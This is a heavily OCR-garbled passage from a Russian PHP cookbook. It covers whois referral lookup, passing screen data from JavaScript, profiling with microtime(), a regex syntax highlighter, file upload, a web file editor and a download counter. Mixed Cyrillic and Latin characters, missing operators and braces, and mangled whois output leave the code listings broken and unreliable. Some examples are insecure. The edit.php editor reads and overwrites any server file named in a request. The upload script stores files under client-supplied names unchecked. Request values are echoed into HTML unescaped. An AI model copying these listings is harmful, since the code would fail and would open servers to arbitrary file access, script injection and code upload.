глава З. Пр отокол нттр 285 - ЛисТИНГ 3.57. Исполь зова ние функции ge thos tbyaddr () <?phP $ ip_address = "127.0.0.1"; $hoS tname gethostbyaddr ($ip_address) ; echo "Имя хоста с IP-адресом $ip_addre ss : $hostname" ; ?> Результатом работы скрипта из листинга 3.57 будет строка: имя х оста с IP- адресом 127.0.0 .1: localhost 3.4 . 3. Следование реферал ьному серверу Серв ис Wlюis позволяет определ ить, на кого зарегистрирован тот ил и иной IР-адрес. whois.arin.net · \Yh ois.ripe.net % This isthe RIPE WЪоisql1eJ:y sеЛiеl' #2. % Пlе obj ects аге in RPSL fOlmat. % % Note : the default outpl1t ofthe RIPE V/1юis sel'Vel' % is с1шпgеd. УОl1r to01s шау need to Ье adjllsted. See % http://,, , \'\,·-w .гiре.пеt/dЫпе,уs/аЬusе-РI·ор оsа1-200S0ЗЗ 1 .htшl % for шоге detai ls. % RightS resfrictec! Ьу copjTigJlt. % See Ыtp://\V'\\'\у. l 'iре,пеt/dЬ/С ОРУI.'ight,1ltш! % Note: TJlis outpl1t has beeIl fi1tel' ed. % То l'eceive oUtpl1t fOI' а database update, l1se t!le "-В" flag % IпfО1'ШзtiОl1 re1ated to '2 13.115 .162 ,0 - 213.115. 162. 127' Рис. 3.11. Принадлежность IР-адреса 213.1 15.162.82
286 Часть 1. Общие вопрось/ - Для этого достаточно послать IР-адрес по порту 43 соответствующего Wll O i s_ сервера. Существует множество Wlюis-серверов, каждый из которых несет ответственность за IP-aдpeca той ил и иной части света. Гл авным серве ро м является whois.arin.net. Если главный Whоis-сервис не содержит инФорм а_ ции о запрашиваемом IР-адресе, то в отчете обязател ьно присутствует СТРОка ReferralServer, которая указывает адрес Whоis-сервиса, ответственного за нужный диапазон IР-адресов. Поэтому обращение к Whоis-сервису удоб но выделить в отдел ьную функцию who is (), которая будет принимать два пара­ метра: адрес Wlюis-сервиса и запрашиваемый IP-aдpec. Есл и полученный от­ чет будет содержать ссылку на реферальный сервис, функция будет осущест­ влять рекурсивный спуск (листинг 3 .58) . Листинг 3.58. Рекурс ивное следова ние реферальному серверу <center> <forrn rne thod=post> <input type=text narne=ip size=3 5> <input type=subrnit vаluе='Вв едите IP-aдpec '> </forrn> </center> <?php if ( ! ernpty ($_POST ['ip '])) echo whois ("whois . arin . net", $_POST [ 'ip' ] ) ; function who is ($url, $ip) // Соединение с сокетом ТСР, ожидающим на сервере // "whois . arin .net" по порту 43 . // В р е зуль тате возвращае тся де скриптор соединения $sock . $sock = fsockopen ($url , 43, $errno , $errstr) ; if (!$sock) exit ("$errno ($e rrstr) ") ; else echo $url . "<br>" ; // Записываем строку из пер еменной $_POST ["ip"] // в де скриптор соке та . fputs ($sock, $ip. "\r\n") ; // Осуще ствляем чтение из де скриптора соке та . $text = ""; while (!feof ($sock ) )
глава З. Протокол нттр -- 7> $text . = fgets ($sock, 12 8) . "<br>"; / / Закрываем соединение fc10se ($sock) ; / / Ищем реферальный сервер $p attern = " I Referra1Server : whоis://([Л\п<: ]+) li"; p reg�tch ($pattern, $text , $out) ; if (!empty ($out[1 ])) return who is ( $out [1] , $ip) ; else return $text ; wllOis.arin.net \vh ois.apIli c.net % [\v· hois.apnic.net node-l] % \\llois data copyright tеllПS ЫtР ://\Wiw.арпiс .!lеtidЬ!dЬсоруrig1lt.htш! iпеtnU1l1: 192.131.90.0 - 192 .13 1 .90 .255 llеtnаше: ТECНWAY-AUST descr: imported iIlelntil ll object f01' ТECНWА СОlШЬ:У: АИ аdшiп-с: 11. .. З89-АР tech-c : 11. .. З89-АР status: ASSIGNED PORTAВLE remarks : ----- -- -- - гешагks: iшрогtеd !ТошАЮN obj ect: remarks: l"ешагks : i!lеmшп: 192. 131.90 .0 - 192 .131.90.255 l"еШЮ'ks : Ilеtl l аше : TECH\VA У-AUST remarks : ol"g-id: ТECH\VA l"emarks : status: аssigшпеllt t'ешагks: t'ev-srv: NS 1 .\VЗС.СОМ Рис. 3 .12. П ринадлежность IP-аАреса 192.131 .90.161 287
288 Часть 1. Общие вопрос!,/ - Скрипт всегда начинает поиск с whois.arin.net, при необходимости осущест_ вляя повторные запросы к реферальным сервисам . При этом перед отчето м выводится список WllOis-сервисов, которые посещает скрипт. Так дл я адре­ са 213.115.162.82, который соответствует сайту корпорации АВ MySQL, от­ чет может выглядеть так, как это представлено на рис. 3 .1 1. Как видно из рис. 3.1 1, скрипт посещают два WllOis-сервиса: whois.arin.net и whois.ripe.net. Для IР-адреса 192. 131.90. 161, который соответствует сетевому адресу http ://www .w3c.org, отчет может выглядеть так, как это представлен о на рис. 3.12. Из отчета видно, что информация по данному IР-адресу был а н ай­ дена в Whоis-сервисе по адресу whois.apnic.net.
ГЛАВА 4 "Хитрости" РНР в этой главе рассматриваются "тонкие" вопросы в стиле 'Ъаl1 dсоо k" , связан­ ные с эффективным программиро ванием на РНР : создание эффективных ре­ гуля рных выражений; некоторые полезные функции РНР; разработка со бст­ ве н ной функции подсветки кода РНР; примеры небольших вспомогател ьных Web-прил ожений, используемых в дальнейших главах . 4.1 . РНР и JavaScript в это м разделе обсуждаются особенности работы со скриптами JаvаSсгiрt в РНР . Скрипты JavaScript выполняются на машине кл иента, в то время как РНР серверный язык программирования, и, в отл ичие от технологий Java или ASP.NET, не имеет в своем составе средств для работы на кл иентской сто ро­ н е . Поэтому для создания эффективных Web-приложений необходимо ком­ бин иро вать скрипты JavaScript и РНР. Существует две возможности такого взаимодействия: передача переменных из JavaScript в РНР и динамическое формирование скрипто в JavaScript сред­ ствами РНР . Одн о й из распространенных задач является определение разрешения экрана и глубины цвета монитора посетителя страни цы средствами JavaScript с по­ следующей передачей этих данных в РНР-скрипт. ЗАМЕЧАНИЕ Это довольно часто встречающаяся задача, особенно при напи сании счет­ чиков посещени й и создании "динами ческого д изайна" .
290 Часть 1. Общие вопрос!,/ - Скрипт JavaScript, выполняющий необходи мые дл я решения данной задач и действ ия, размещен в файле index.html, содержимое которого приведено в листинге 4.1. Листинг 4.1 . Фа йл index.htm l <Script Language=" JavaScript "> var height=O i va r width=O i colorDepth = screen . colorDepth i if (self . screen ) width = screen . width height = screen . height else if (self.java ) va r jToolKit = java.awt . Toolkit . getDefaultToolkit (} i var scrsize = jToolKit . getScreenS ize (} i width = scrsize . widthi height = scrsize . height i if(width>О&&height>О) // Производим перенаправление на скрипт counter .php , // передавая в переменной scrsize строку , // содержащую значения width , he ight и colorDepth . window .location .href = ''http ://localhost/view . php ? } else exit ()i </Script> width= " + widtb + "&height= " + height + "&color=" + colorDepth i После выполнения этого кода происходит авто матический переход на стра­ ницу view.php, на которой выводятся полученные разрешение экрана и глу­ бина цветопередачи (листинг 4.2).
глава 4. "Хитрости " РНР - ЗА МЕЧАНИЕ 291 Полученную информацию можно помещать в базу данных для сбора стати­ стики о наиболее распростра ненных разрешениях экранов посетителей саЙтов. ЛИСТИНГ 4.2. Файл view. php <?рЬр есЬО "Ширина : ".$_GET [ 'width ' ] ; есЬО "Высота : ".$_GET [ 'height ' ] ; есЬО "Цветовое разрешение : ".$ _GET [ , color ' ] ; ?> Как м ожно видеть , работа с данными из JavaScript аналогична работе с дан­ н ы ми, отправляемым и м етодом GET. 4.2. О профил ировании кода Нередко возникает необходимость определить, какой участок кода выполня­ ется дольше всего и оказывает существенное влияние на время работы всего Web-приложения. Для решения этого вопроса прибегают к профилированию кода. ОПРЕДЕЛЕНИЕ Профuлuрованuем кода называется процедура , в ходе которой измеряется время выполнения различных функций программы. Для профессионального профилирования можно воспользоваться различны­ ми программами-профилировщиками, например, свободно распространяе­ мым профилировщиком ко м пании Zend, который можно найти на сайте http ://www .zend.co m/stort/p rod ucts/. Одн ако потребность в использовании профессиональных профилировщиков возникает не очень часто, и в боль­ ш инстве случае в можно профилировать сценарии РНР собственным и силам и. Для профилирования сценария необходимо измерить время выполнения сце­ нария путем сохранения времени начала и конца вы полнения сценария с вы­ ч ислением разницы между этими величинами. Сравнивая полученный ре­ зул ьтат с продолжительностью выполнения других скриптов Web-приложе­ ния, можно найти наиболее требовательный к ресурсам участок кода.
292 Часть 1. Общи е вопро сы -- -- -- -- -- �---------------------- -------------------------- � ---- � � -- в целях определения времени выполнения с требуемой точностью ис пол ьзу_ ется функция mi crot ime (), возвращающая стр оку вида " ms ec sec " , ГДе ms ec - составляющая в микросекундах, а sec - время в секундах, прошед_ шее с 1970 года (листинг 4.3). Листинг 4.3 . Использование функции microtime () <?php echo mi crotime () ; ?> Резул ьтат может получиться, например, таким : 0.48023600 1076713360 Такое представл ение не очень удобно дл я вычисления разницы во време ни, поэтому его необходимо преобразовать в числовой вид. Иначе го воря, стро­ ку" ms ec sec " необходимо преобразовать к виду " sec .msec " . Сделать это можно с помощью сценар ия, представленного в листинге 4.4. Л истинг 4.4 . Получение интервалов времени <?php $pa rt_time $real_time explode (' ',microtime()); $part_time [l] .sub str ( $part_time [O] ,l); ?> При помощи функции explode () строка, принимаемая вторым параметро м, разбивается на подстроки в соответствии с разделителем, передаваемым в первом параметре (в нашем случае это символ пробела) . Резул ьтат возвраща­ ется в виде массива, элементы которого содержат подстроки разбиваемой строки. ЗАМЕЧАНИЕ в качестве третьего необязательного параметра функция explode () может принимать число НmН , ограничивающее кол ичество элементов в резуль­ тирующем массиве. Дл я получения разности между двумя числами, размещенными в строке , можно воспользоваться функцией bcsub () (л истинг 4.5).
глава 4. "Хитр ости " РНР - листи нг 4.5 . Использование функ ции ЬсзиЬ () <?php $diff_time bcsub ($stop_time , $start_time , 6) ; ?> 293 Помимо двух строко вых параметров ($stop_t ime , $start_t ime) данная функци я принимает в качестве третьего параметра жел аемо е в п о лучаем о м результате ко личество знако в п о сле запято й. Конеч ную функцию gettime () для про филиро вания ко да следует разместить в файле gettil1 1 e.pl1p (л исти нг 4.6). Листи нг 4.6. Файл gettlme.php < ?php ?> fun ction gettime () $pa rt_time = explode (' ',microtime()); $real_time = $part_time [l] .sub str ( $part_time [O] ,l) ; return $real time ; в качестве примера м ожно привести про филиро вание разл ичных спо с о бо в п р еобразо вания типо в в РНР. Сравним прео бразо вание в стиле С с прео бра­ зованием, о существляемым с п о м о щью функции settype ( ) (л истинг 4.7). Листинг 4.7 . Профилируем различные способы преобразования типов <?php include "gettime .php "; $var = "5"; 1/ Профилируем преобразование типа с помощью функции settype () $start_time = gettime () ; settype ($var, integer) ; $stop_time = gettime () ; $diff_time = bcsub ($stop_time, $start time, 6) ; еСhО ("Преобразование типа функцией settype : ".$diff_time. "<br> " ); 11 Профилируем преобразование типа в стиле С $start_time = gettime () ; $var = (int) $var;
294 Часть1. Общие вопросы ----------------------------------------------------------�--�� -- ?> $stop_time = gettime () ; $di ff_time = bcsub ($stop_time ,$s tart_time, 6) ; есhо ("Преобразование типа в стиле с++ : ".$diff_t ime."<br> " ); Резул ьтат выполнения скрипта может выглядеть следующим образом : преобразование туша функцией settype : 0.000083 преобразование типа в стиле с: 0.000026 Видно, что использование функции settype () дл я преобразования типа бо­ лее чем в 3 раза дольше, чем преобразование типа в стиле С. 4.3. П одсветка кода с помощью стандартных функций РНР Во многих Web-приложениях требуется подсветить РНР-код : такая задач а часто возникает при разработке форумов, посвященных вопросам РНР­ програм мирования, при динамическом отображении РНР-скриптов на стр а­ ни цах ресурса, в отл адочных Web-приложениях и т. Д . В этом разделе м ы рассмотрим реализацию подсветки синтакс иса кода при п о мощи стандартной функции highlight_s tring () (листинг 4.8). ЗАМЕЧАНИЕ Помимо стандартной функции hi ghl ight_string (), обеспечивающей подсветку синтаксиса кода переданной в качестве параметра строки , суще­ ствует также функция highlight_file ( ) , обеспечивающая подсветку син­ та ксиса файла, имя кото рого передается ей в качестве аргумента . Листинг 4.8 . Подс ветка кода // Строка , содержащая скрипт РНР $code = '<?php if (!$flag) // ПИШем любой код echo ("He llo" ) ; $var = 1;
глава 4. 'Хитрости" РНР - else break; ?>' ; / / вызыв аем функцию highlight_s tring highl ight_s tring ($code ) ; ?> 295 Как видно из листинга 4.8, строку, содержащую РНР-код, необходимо пере­ дать функции highlight_s tring (), если в качестве второго необязател ьного п араметра передать значение true, функция вместо вывода результата в окно брауз ера возвратит строку с подсвеченным синтаксисом. ЗА МЕЧА НИЕ Стандартн ые функци и highlight_s tring () И highl ight file () подсве­ чивают синтаксис кода тол ько в том. случае, если он заключен в теги <?php и ?>. Это не всегда удобно, поэто му ниже будет рассмотрено построени е собственной функци и подсветки синтаксиса . 4.4 . Подс ветка синтаксиса РНР (собственная функция) в предыдущем разделе были описаны приемы работы со стандартными функциями подсветки синтаксиса РНР: highlight_s tring () И high light_file ( ) . Данные функции имеют два серьезных недостатка: под­ держивается тол ько подсветка РНР-кода и тол ько кода, размещенного между тегам и <?php и ?> (а так же <? и ?» , поэтому в большинстве случаев прихо­ дится применять собственную функцию подсветки синтаксиса. В данном разделе будет рассмотрена задача построения простейших анало­ гов функций highlight_s tring () И highl ight_file (), реализующих собст­ в енную схему подсветки кода, и, следовател ьно, допускающие реализацию подсветки синтаксиса языков, отличных от РНР . Строковый вариант функ­ ции назовем shighl ight () : она будет принимать в качестве параметра стро­ ку, содержащую код РНР. Файловый вариант назовем fhighl ight () : она бу­ дет принимать имя файла с РНР-скриптом. Обе функции будут возвращать строки с разметкой HTML, обеспечивающей подсветку максимального кол и­ чества элементов. Построение функции подсветки следует решать с привлечением механизма ре гулярных выраже ний, специально созданных для такого рода задач . В лис­ тин ге 4.9 приведен код функции shighlight ().
296 Часть 1. Общие вопросы ЗАМЕЧАНИЕ Для создания функции интенсивно используются регулярные в ыражения , которые более подробно обсуждаются в прuложенuu 4. Листинг 4.9 . Функция shighlight () <?php function shighlight ($document ) // Преобразуем угловые скобки для отображения НТМL- тегов $do cument $do cument str_replace ("<", "&lt; ", $document ); str_replace (">", "&gt ; ", $do cument ); // Пр еобразуем теги РНР <?php и ? > $tegs = array ("'&lt; \?php'si", "'&lt ; \? ' si", "'\?&gt ; 'si") ; $replace = array ("<font color=# 95001E>&lt ; ?php< /font> ", "<font color=# 95001E>&lt ;?</font> ", "<font color=# 95001E> ?&gt;</font> ") ; $document = preg_replace ($tegs , $replace , $document ); // Преобразуем комментарии $do cument = preg_replace ("' ((?:#I//) [ л \п] *I/\* .*?\*/) 'si", "<font color=# 244ECC>\\1</font> ", $document ) ; // Осуществляем переносы строк $document = preg replace ('" (\п) 'si", "<br>\\l", $do cument ); - . // Пр еобразуем функции $document = preg_replace ("' ([\w] +) ([\s]*) [\ (] 'si", "<font color=#OOOOCC><b>\\1</b></font>\\2 (", $document ) ; // Преобразуем операторы $separator = array("'\, 'si", "'\-'si", "'\+'si", "' \ ('si", "'\) 'si", ",\('si", "'\} 'si") ;
глава 4. ''Хитрости '' РНР - ?> $rep 1 ace = array ("<font со10r=# lАб 91А>, </font> ", "<font со10r=# lАб 9 1А>-</fопt> ", "<font со10r=# lАб 9 1А>+</fопt>" , "<font со10r=# lАб 9 1А> « /font> ", . "<font со10r=# lАб 91А» </font> ", "<font со10r=# lАб 9 1А> { </fопt> ", "<font со10r=# lАб 91А> }</fопt>") ; $'do cument = preg_rep 1ace ($separator, $rep1ace , $do cument ) ; / / Пре образуем переменные РНР $document = preg_rep1ace ('" ([\$ ] { l , 2) [A-Za-z_] +) 'si", "<b><font co1or=# 000000>\\1</font>< /b> ", $do cument ) ; / / Преобразуем строки , заключенные / / в одинарные и двойные кавычки $str array ('" (\" [Л\"] *\") 'si", ", (\' [Л\']*\') 'si") ; $ rep1ace array ("<font co1or=#FFCCO O>\\1</font> ", "<font co1or=# FFCCOO>\\1</font> ") ; $ document = preg_rep1ace ($str, $rep1ace , $ document ); / / Пр еобразуем зарезервированные слова $str = array ('" (есЬо ) 'si", ", (print ) 'si", ", (wh i1e) 'si", ", (for) 'si", ", (if) 'si", ", (е1зе) 'si", ", (switch ) 'si", ", (function) 'si", ", (array) 'si") ; $ rep1ace array_fi11 (О, count ($str) , "<b><font co1or=#0000CC>\\1</font></b>") ; $document preg_rep1ace ($str, $rep1ace , $document ); 11 Возвращаем резуль тат работы функции return " <code>$document</code> "; 297
298 Часть 1. Общие вопросы Работа ФУНКЦИ И нач инается с преобразования угловых скобок < и > в и х НТМL-представл ение: &lt ; и &gt ; соответственно. Следую щим этапом является подсветка тегов <?php, <? И ?> темно-красным цвето м. Так как на предыдущем этапе все угловые скобки были преобразова­ ны, то регулярные выраже ния для этих трех тегов приобретают в ид: '&lt ;\? php'si, '&lt ; \? ' si, '\?&gt ; 'si. Это операция осуществляется при помощи функции preg_replace (), принимающей в качестве первых двух п а­ раметров массив регулярных выражени й в стиле языка Perl и массив со стр о­ кам и замены. В качестве третьего параметра выступает строка, в которой осуществл яется замена. После преобразования те гов РНР выполняется подсветка ко мментариев РНР светло-синим цветом. Регулярное выраже ние, ответственное за такое преоб­ разование ( ' ( (?:# I //) [л\п] * I /\*.*?\*/) 'si), можно разбить на три части. Подвыраже ние / \ * . *?\ * / ответств енно за подс в етку многострочных ко м­ ментариев в стиле языка С (1* * /) - символы * экранируются обратным сл эшем ( \ ), а между последовател ьностями /* и * / допус кается произвольное кол ичество любых символов ( . *?) . Подвыражение ( (?: # I / /) [Л\n] * отвечает за однострочные ко мментарии: / / (стил ь С++) и # (стил ь командных обол о ­ чек), после кото рых следует произвол ьное кол ичество символов (возможно таюке их отсутствие), не включающих сим вол перевода строки - [Л\n] * . Последо вател ьность ?: предписывает не сохранять результат дл я дан ных кругл ых скобок. Это позволяет не задумываться о кол ичестве сохраненных резул ьтатов и при замене с помощью функции preg_replace () использоват ь во втором параметре ед инственный сохраненный резул ьтат \ \1, который от ­ носится к внешним кругл ым скобкам . Для осуществления переноса строки все символы переноса строки ( \n) пред ­ варяются HTML-тегом пере носа строки - <br> . Такой прием позволяет со­ хранить формати рование исходного текста РНР-програм мы и отраз ить его в окне браузера. Следую щим этапом является подсветка функций. В РНР входит огромное кол ичество функций, кроме то го, програм мисты могут вводить свои собст­ венные функции, поэто му создание их списка нецелесообразно. Все функции обл адают общим признаком: после их объявл ения обязател ьно следует спи­ сок параметров в круглых скоб ках, который может быть в том числ е и пус­ ты м. Между именем функции и скобкой может находиться произвольное ко ­ личество пробельных символов или даже переводы строк, поэтому регулярное выраже ние принимает вид: ' ( [\w] +) ( [\з] *) [\(] 'зi . Имя Функ­ ЦИИ состоит из одного ил и большего кол ичества сим волов, включающе го обобщенный символ сл ов ( [ \ w] + ) , после которого следует произвол ьное ко-
Гла ва 4. "Хитрости " РНР 299 л и чество обобщенных пробелов ([\ s] *) и экранированный символ откры­ вающей круглой скобки ( [\( ] ). ЗА МЕЧАНИЕ Обобщенный символ сл ова [\w] эквивалентен [a-zА -ZQ-9 ] I а си мвол обобщенного пробела [\s] - [ \f\n\r\t\v] . Во втором параметре функции preg_ rep1ace () используется резул ьтат, со­ храненный в двух круглых скобках : \ \1 - имя функции, \ \2 - пробелы ме­ жду именем и открывающей круглой скобкой. После этого происходит подсветка операто ров те мно-зеленым цветом . Закл ючительный этап - подсветка темно-синим цветом зарезервированных кл ючевых слов языка РНР, таких как whi le, if, e1se и т. д . Так как выдел ить эти ключевые слова на фоне других элементов программы достато чно слож­ но, они помещаются в массив и обрамляются круглыми скобкам и, что обес­ печивает сохранение их в качестве первого параметра (\ \1). Массив замены $rep 1ace, выступающий в качестве второго аргумента функции p reg_rep1ace (), автоматич ески формируется при помощи фун кции a rray_f ill (). Для подсветки других языков программирования в массив $str необходимо добавить зарезервированные в этих язы ках сл ова. После построенй:я строковой функци и подсветки синтаксиса языка РНР не составляет труда создать файловую версию этой функции - f h ighlight ( ) , код которой приведен в листинге 4. 10. Листинr 4.10. Функция fh�gh light () <?php function fhigh1ight ($fi1ename ) ?> // Открываем файл , имя которого передано в параметре $fi 1ename $ fi1e = fopen ($fi1ename, "r") ; // Помещаем его содержимое в буфер $document $document = fread ($fi1e, fi1esize ($fi1ename) ); / / Закрываем файл fc 10se ($file ) ; / / Вызываем фунlЩИЮ shigh1 ight () return shigh1ight ($document );
300 Часть 1. Общие вопрось/ - Работа приведенной в л исти нге функции сводится к открытию переданного в параметре $filenarne файла и передаче его содер)кимого ранее создан н о й функции shighlight (). 4.5 . Загрузка файлов на сервер Одной из распространенных задач является загрузка файлов на удаленный сер­ в е р. Для загрузки файлов на сервер понадобится НТМL-форма (il1dex.l1ttnl) и скрипт upload .pl1p для ее обработки. Простая форма для отправки файла на се р­ вер может создаваться скриптом, приведенным в листи нге 4. 11. Листинг 4.1 1 . НТМL-форма ДЛЯ загрузки файлов на с ервер - index.htm l <htrnl ><head><title> Загрузка файлов на сервер </title></head><body> <h2 ><b> Форма ДЛЯ загрузки файлов </b>< /h2> <forrn action= "upload .php " rne thod="post" enctype= "rnultipart / forrn-data "> <input type="file" naтe= "filenaтe "><br> <input type= "subrnit" vа luе= "Загрузить"><Ьr> </fonn> </body> </htrnl > Атрибут формы entype определяет тип передачи дан ных, которую браузер применяет к параметрам формы. Для того чтобы действовала отправка ф ай ­ лов на сервер, атрибуту entype необходи мо присвоить значе ние rnu l tipart /forrn-data. По умолчанию этот атрибут имеет значение applica­ tion/x-www-forrn-urlencoded (этот ти п передачи данных не позволяет загру­ жать на сервер файлы). Есл и все сдел ано правильно, форма для отп равки файлов на сервер должна выглядеть так, как это показано на рис. 4 . 1 . После получени я НТТР-запроса содержи мое загруженного файла записыва­ ется во временный файл, который создается в каталоге сервера, задан ном по умолчанию для временных файлов, если в файле pl1p.il1i не задан другой ка­ талог (директива up load_trnp_d ir) . Характеристики загруженного файла доступны ч е рез двумерный супе ргло ­ бальный массив $_ FILES. При этом переменная со значениями этого массива может иметь следующий вид: О $_FILES [ , filenarne ' ] [ 'пате ' ] (содержит исходное имя файла на клиент­ ской машине);
глава 4. "Хитрости " РНР 301 - LJ $_ F ILES ['filename '] ['size' ] (содержит размер загруженно го файла в байтах); LJ $JILES ['filename ' ] ['type ' ] (содержит МIМЕ-тип файла); LJ $_ FILES ['filename '] ['tmp_name '] (содержит имя временно го файла, в кото рый с о храняется загруженный файл). Форма для загрузки файлов Рис. 4 .1 . Форма ДЛЯ загрузки файлов на сервер в листинге 4. 12 приведен скрипт up load . php, ко то рый загружает файл на сервер и ко п ирует его из временно й директо рии в директо рию temp. ЗА МЕЧА НИЕ В листинге 4.12 вместо функции сору ( ) можно использовать move_uploaded_f ile ( ), что особенно актуал ьно, когда включен безопас­ ный режим. ЛИСТИНГ 4.12. Загрузка файлов на сервер - up load . php <html> <head> <t itle> Резуль тат загрузки файла </title> < /head> <body>
302 <?php ?> if (сору ($_FILES ["filenaтe"] ["trnp_пате"] , "ternp/ " . $_FILES ["filenaтe"] ["пате"] )) есhо ( "Файл успешно загружен" ) ; else есhо ("Ошибка загрузки файла " ); </body> </htrnl> Часть 1. Общие вОПРОСе/ - После выпол нения этого скрипта выбранный для загрузки файл при помо­ щи функции сору () будет помещен в поддиректорию tешр директории, в которой расположен скрипт, а браузер выдаст сообщение: Файл успешн о загружен. ЗАМЕЧАНИЕ Проверить успешность загрузки файла на сервер можно при помощи спе­ циальной функции is_uploaded_file (), которая принимает в качестве единственного параметра имя файла ($_FILES [ , fi1епате ' ] [ 'пате ' ]) и возвращает true В случае успешной загрузки и false - В случае неудачи . Скрипт из листи нга 4. 13 позволяет вывести характеристики загруженного файла. Листинг 4.1 З. Характеристики файла <htrnl > <head> <title> Результат загрузки файла </title> </head> <body> <?php if (сору ($_FI LES ["fi lenaтe" ] ["trnp_naтe "] , "ternp/ ".$_FILES ["filenaтe"] ["пате"] ) ) есhо ( "Файл успешно загружен <br> " );
глава 4. "Хитрости " РНР ;. ..-- ?> / / Далее ВЫВ ОДИТСЯ информация о файле echo ("Характеристики файла : <br> " ); echo ("Имя файла : ") ; e cho ($_FILES [ "filenaтe"] ["пате"] ) ; есhо ("<Ьr>Размер файла : ") ; echo ($_FILES ["filenaтe"] ["size"] ) ; есhо ("<Ьr>Каталог для загрузки : ") ; echo ($ FILES ["filenaтe"] ["tInp_naтe "] ) ; есhо ("<Ьr>Тип файла : ") ; echo{$ FILES ["filenaтe " ] ["type " ]); else e cho ("Ошибка загрузки файла ") ; < /body> </html> заз Резул ьтат работы скрипта из листи нга 4. 13 выглядит так, как это представл е ­ но на рис. 4.2. Файлуспешно затру"жен Характеристики файла : имя файла: l.gif Размер файла: 3542 Каталог для заrpузки: С:\\\7lNDО\VS\рhр140.tшр Тип файла : image/gif Рис. 4 .2. Информация о загруженном файле
304 Часть 1. Общие вопросы в некоторых случаях требуется ограничить размер файла, который м ожет быть загружен на сервер . Например, чтобы запретить загрузку на сер вер файл ов размером более 3 Мбайт, нужно изменить скрипт так, как это п ред­ ставлено в листинге 4. 14. Листинг 4,14. Огра ничение размера загружаемого файла <?php ?> if {$_FILES ["filenaтe" ] ["size"] > 3*1024*1024) ( ехit {"Размер файла пр евышает три ме габайта ") ; if {сору (_FILES ["fi1enaтe"] ["tшр_пате "] , "temp/ " . $_FILES ["filenaтe"] ["пат е"] ) ) есhо { "Файл успешно загружен <br>") ; else echo ("Ошибка загрузки файла" ) ; Максимальный размер загружаемого файла можно также задать при помощи директи вы up load_max_filesize, значение кото рой по умолчан ию равно 2 Мбайт: if { $_FILES ["filenaтe"] ["size"] > up load_m ax _filesize) ЗАМЕЧАНИЕ Значени е директивы up load_max_f ilesize можно изменить в ко нфигура­ ционном файле php.ini. Следует помнить , что изменени я вступают в силу после перезагрузки Web-сервера. 4.6. Редактирование файлов на сервере Создадим небольшое Web-приложение, позволяющее редактировать файлы на сервере при помощи Web-инте рфеЙса. Код приложе ния представл ен в листи нге 4.15 .
Глава 4. ''Хитрости '' РНР Листинг 4.15. Редакти рование файлов на сервере (edit. php) <?php ?> // Файл edit . php // Если передано исправленное содержимое файла , / / открыв аем файл и пере записываем его if (isset ($_POST ['content' ])) // Открываем файл $fd = @fopen ($_POST ['filename ' ] , "w") ; // Если файл не может быть открыт - сообщаем // об этом предупреждением в окне браузера if (!$fd) exit ("Т акой файл отсутствует ") ; // Пере записыв аем содержимое файла fwrite ($fd, stripslashes ( $_POST ['content '])); // Закрываем файл fclose ($fd) ; // Помещаем имя файла // в суперглобальный ма ссив $_GET $_GET ['filename '] $_POST ['filename' ]; <form action = "edit . php " name= first me thod="get"> имя файла <input type= "text " name= "filename " va lue=< ?php echo $_GET ['filename' ]; ?» <br> <input type= "submit" vаluе= " Отправить"> </form> <?php // Если в строке запроса передано имя файла - // открыв аем его для редактирования if ( isset ($_GET ['filename' ])) / / Открываем файл $fd = @fopen ( $_GET ['filename' ], "r") ; // Если файл не может быть O�KPЫТ - сообщаем // об этом предупреждением в окне браузера if (!$fd) exit ("Такой файл отсутствует ") ; // Помещаем содержимое файла в переменную $bufer $bufer = fread ($fd, filesize ( $_GET ['filename' ] )); 305
306 ?> Часть 1. Общие вопросы / / Закрыв аем файл fclose ($fd) ; ?> <fo= action = "edit . php " name=second method="post"> <textarea col s=7 6 rows=lO name=" content "> <?php echo $bufer; ?></textarea><br> <input type= "hidden " name=filename value= '<?php echo $_GET ['filename' ]; ?> '> <input type= "submit" name=edit vаluе=" Редактировать "> </form> <?php При первой загрузке скрипта открывается форма first, имеющая единствен­ ное тексто вое поле для имени файла filename И кнопку, отправляющую дан­ ные методом GET файлу edit.php, в кото ром хранится дан ный скрипт (рис. 4.3). Рис. 4 .3 . Первая форма Web-интерфейса для редакти рования файла Если элемент су перглобального массива $ _GET ['filename '] не пуст, то про­ исходит загрузка содержимого файла во временную переменную $bufer, со­ держи мое которой помещается в текстовую обл асть формы second (рис. 4.4). Помимо текстовой области content форма содержит скрытое поле filename,
Глава 4. ''Хитрости'' РНР 307 ч ерез которое передается имя файла. После редактирования и нажатия на кно пку второй формы second дан ные повторно отп равляются скрипту e dit.pi1p, но уже методом POST. В начале скрипта размещен обработч ик, ко­ т<�рый переписывает содержимое редактируе мого файла, если эл емент $_POST [1content 1 ] имеет непустое значение. Для корректного поведения с крипта в конце обработчика имя файла из суперглобального массива $_POST пе РЩIИсывается в суперглобальный масс ив $_GE T. Функции fopen () предва­ ря ются знаком @, который подавляет вывод предупрежде ний в окно браузе­ ра, есл и функция не может найти тексто вый файл . < ?рЬр echo "Hello wo rld !"; ?> :�. /',(., " ;t; �.. ?'- ........ .................. ..... ... ............................. .. ................ . ........... ............. ........ ............. ....... ....................� Рис. 4.4 . Вторая форма редакти рования Web-интерфейса 4.7 . Счетчик количества загрузок файла Работа всех счетч иков кол ичества загрузок файл ов основана на том, что по­ с етителю в качестве ссылки для загрузки предоставляется не сам файл, а ссыл ка на скрипт, который уч итывает текущую загрузку и отправляет файл браузеру пользователя . Будем строить наш счетч ик таким образом, чтобы ссылки на загруз ку файла представляли собой ссылки на текущую страницу с передачей в кач естве па­ раметра имени файла, например, index . php ? down=archive . zip. Скрипт.будет
З08 Часть 1. Общие вопр осы проверять, передан ли параметр down, и есл и это так, то будет регистрИровать загрузку архива в файле filесоuпt.txt . При повторной загрузке стран ицы ИЗ файла будут извлеКаться значения счетчиков дл я каждого из ар хивов для вы ­ вода в окно браузера. Передач а файла на загрузку будет осуществл яться ОТ­ сылкой посетителю НТТР-заголовка Locat ion С указанием пути к загружае­ мому архиву. Скрипт счетч ика загрузок файлов может выглядеть так, как это представлено в листинге 4.16. Листинг 4.16. Счетчик за грузок файлов <?php // Регистрируем имена файлов в ма ссиве $file_name = array ('archive l .zi p' , 'archive 2 .zip' , 'аrсhivе З .ziр ' ); // имя файла , где хранится статистика $countname = "filecount .txt "; // Если файл существует - считываем TeK�O // статистику в ма ссив if ( file_exists ($countname )) } $fd = fopen ($countname , "r") ; $content = fread ($fd, files ize ($countname) ); fclose ($fd) ; // Распаковываем ма ссив $count uns erialize ($content) ; // Если такого файла нет - создаем его , // а статистику обнуляем else // 